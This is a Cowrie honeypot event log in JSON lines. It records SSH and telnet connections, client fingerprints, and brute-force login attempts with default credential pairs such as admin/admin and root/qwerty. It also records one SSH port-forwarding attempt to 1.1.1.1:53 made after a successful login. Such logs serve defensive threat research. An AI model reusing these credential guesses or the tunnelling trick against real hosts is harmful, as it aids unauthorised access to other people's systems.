{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:55.891693Z","src_ip":"87.251.64.176","session":"e61ecfea0a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:55.967904Z","src_ip":"200.39.46.41","session":"ba51fe011e01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:56.180063Z","src_ip":"87.251.64.176","session":"e61ecfea0a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:56.279128Z","session":"e61ecfea0a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:56.378586Z","src_ip":"87.251.64.176","session":"e61ecfea0a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:56.613759Z","src_ip":"87.251.64.176","session":"e61ecfea0a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":59978,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf04f635cbc9","protocol":"ssh","message":"New connection: 80.94.92.168:59978 (10.17.0.5:22) [session: bf04f635cbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:06.321214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:06.466541Z","src_ip":"80.94.92.168","session":"bf04f635cbc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:06.470913Z","src_ip":"80.94.92.168","session":"bf04f635cbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:08.094605Z","src_ip":"80.94.92.168","session":"bf04f635cbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:09.435453Z","src_ip":"80.94.92.168","session":"bf04f635cbc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":38598,"dst_ip":"10.17.0.5","dst_port":22,"session":"61988e22b7a6","protocol":"ssh","message":"New connection: 200.39.46.41:38598 (10.17.0.5:22) [session: 61988e22b7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:17.240518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:17.245469Z","src_ip":"200.39.46.41","session":"61988e22b7a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:17.390998Z","src_ip":"200.39.46.41","session":"61988e22b7a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Rizve","password":"123456","message":"login attempt [Rizve/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:17.989855Z","src_ip":"200.39.46.41","session":"61988e22b7a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:19.136129Z","src_ip":"200.39.46.41","session":"61988e22b7a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":54514,"dst_ip":"10.17.0.5","dst_port":23,"session":"82729bb79022","protocol":"telnet","message":"New connection: 194.180.12.23:54514 (10.17.0.5:23) [session: 82729bb79022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:32.111110Z"}
{"eventid":"cowrie.session.closed","duration":0.004261493682861328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:40:32.115232Z","src_ip":"194.180.12.23","session":"82729bb79022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":46834,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e0a14c0e7b","protocol":"ssh","message":"New connection: 200.39.46.41:46834 (10.17.0.5:22) [session: 32e0a14c0e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:39.267183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:39.271225Z","src_ip":"200.39.46.41","session":"32e0a14c0e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:39.412571Z","src_ip":"200.39.46.41","session":"32e0a14c0e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:40.014192Z","src_ip":"200.39.46.41","session":"32e0a14c0e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:41.160057Z","src_ip":"200.39.46.41","session":"32e0a14c0e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.40","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"40c62caf8945","protocol":"ssh","message":"New connection: 205.210.31.40:58996 (10.17.0.5:22) [session: 40c62caf8945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:45.013785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:45.868763Z","src_ip":"205.210.31.40","session":"40c62caf8945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:46.912967Z","src_ip":"205.210.31.40","session":"40c62caf8945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:41:54.796198Z","src_ip":"205.210.31.40","session":"40c62caf8945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":42080,"dst_ip":"10.17.0.5","dst_port":23,"session":"be50da0ed237","protocol":"telnet","message":"New connection: 167.71.238.254:42080 (10.17.0.5:23) [session: be50da0ed237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:42:54.802050Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":48590,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f12da73c27","protocol":"ssh","message":"New connection: 200.39.46.41:48590 (10.17.0.5:22) [session: 24f12da73c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:01.085563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:01.091081Z","src_ip":"200.39.46.41","session":"24f12da73c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:01.233042Z","src_ip":"200.39.46.41","session":"24f12da73c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farhan","password":"farhan123","message":"login attempt [farhan/farhan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:01.836327Z","src_ip":"200.39.46.41","session":"24f12da73c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:02.983089Z","src_ip":"200.39.46.41","session":"24f12da73c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.7417893409729,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:19.543720Z","src_ip":"167.71.238.254","session":"be50da0ed237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50456,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e437317dd1","protocol":"ssh","message":"New connection: 87.251.64.176:50456 (10.17.0.5:22) [session: 10e437317dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:35.860811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:35.865588Z","src_ip":"87.251.64.176","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:35.962186Z","src_ip":"87.251.64.176","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:36.253211Z","src_ip":"87.251.64.176","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:36.351690Z","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:36.450007Z","src_ip":"87.251.64.176","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:36.549414Z","src_ip":"87.251.64.176","session":"10e437317dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":39866,"dst_ip":"159.203.135.109","dst_port":22,"session":"8330c2774c21","protocol":"ssh","message":"New connection: 43.242.203.160:39866 (159.203.135.109:22) [session: 8330c2774c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:52.083705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:52.088533Z","src_ip":"43.242.203.160","session":"8330c2774c21","protocol":"ssh"}
